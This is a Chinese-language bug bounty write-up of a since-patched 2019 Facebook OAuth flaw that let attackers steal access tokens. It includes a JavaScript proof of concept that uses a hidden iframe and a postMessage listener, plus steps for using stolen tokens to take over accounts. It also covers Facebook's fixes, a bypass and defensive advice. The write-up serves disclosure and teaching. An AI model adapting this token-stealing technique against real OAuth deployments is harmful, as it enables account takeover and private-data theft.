BugBounty-Facebook OAuth 框架漏洞
字数 1619 2025-08-25 22:58:34
Facebook OAuth 框架漏洞分析与利用教学文档
漏洞概述
本漏洞涉及Facebook OAuth 2.0实现中的一个安全缺陷,允许攻击者通过构造恶意请求窃取用户access_token,进而实现账户接管。该漏洞影响使用"Login with Facebook"功能的所有第三方服务,包括Instagram、Oculus、Netflix、Tinder、Spotify等。
技术背景
OAuth 2.0流程
Facebook的"Login with Facebook"功能遵循OAuth 2.0协议,在facebook.com和第三方网站之间交换token。正常情况下,流程如下:
- 用户点击"Login with Facebook"
- 重定向到Facebook授权页面
- 用户授权后,Facebook返回access_token给第三方网站
关键组件
- /connect/ping API:发送user_access token
- xd_arbiter.php:跨域通信的proxy iframe
- page_proxy资源:处理跨域消息传递
漏洞细节
核心问题
- xd_arbiter.php路径可篡改:可通过修改路径(如添加目录/参数)绕过安全限制
- page_proxy资源不安全:包含可被利用的postMessage代码
- 缺少X-Frame-Options头:允许iframe嵌入
- 跨域消息传递不安全:使用通配符("*")作为postMessage目标
漏洞利用代码
var app_id = '124024574287414', app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
漏洞利用步骤
-
构造恶意URL:
- 修改xd_arbiter.php路径为xd_arbiter/r/7SWBAvHenEn.js
- 包含目标应用的client_id和domain
-
创建隐藏iframe:
- 将恶意URL作为iframe的src
- 隐藏iframe避免用户察觉
-
监听消息事件:
- 通过window.addEventListener捕获postMessage
- 获取包含token的消息
-
利用窃取的token:
- 访问GraphQL API获取用户信息
- 添加新电话号码进行账户恢复
- 访问敏感数据(消息、照片、视频等)
漏洞影响
- 账户接管:完全控制用户Facebook账户
- 第三方服务影响:影响所有使用"Login with Facebook"的服务
- 隐私数据泄露:可访问用户设置为"仅自己"的隐私数据
Facebook修复措施
- 弃用/connect/ping API
- xd_arbiter.php添加__d中断JS执行
- 阻止对xd_arbiter的任何修改/篡改
- 阻止xd_arbiter的所有重定向HTTP状态
- 删除7SWBAvHenEn.js
- 添加正则表达式验证过滤器
绕过尝试与最终修复
-
初始绕过:
- 发现__d代码被移到底部
- postMessage()再次可执行
- 尝试通过mbasic.facebook.com绕过
-
最终修复:
- 仅接受绝对文件路径"xd_arbiter.php"
- 阻止所有重定向到xd_arbiter
- 完全删除漏洞资源
防御建议
-
OAuth实现者:
- 严格验证redirect_uri
- 避免使用通配符("*")作为postMessage目标
- 设置X-Frame-Options头
-
开发者:
- 定期检查第三方SDK安全更新
- 实现CSRF保护
- 使用state参数
-
用户:
- 警惕不明来源的登录请求
- 定期检查账户安全设置
- 启用双因素认证
时间线
- 2019年12月16日:初次报告
- 几小时内:Facebook初步修复
- 2-3天后:发现修复绕过
- 最终:完全修复漏洞
总结
该漏洞展示了OAuth 2.0实现中微小的配置错误可能导致严重后果。通过精心构造的请求,攻击者可绕过Facebook的多层防御机制窃取用户token。此案例强调了安全开发实践的重要性,特别是涉及身份验证和授权流程时。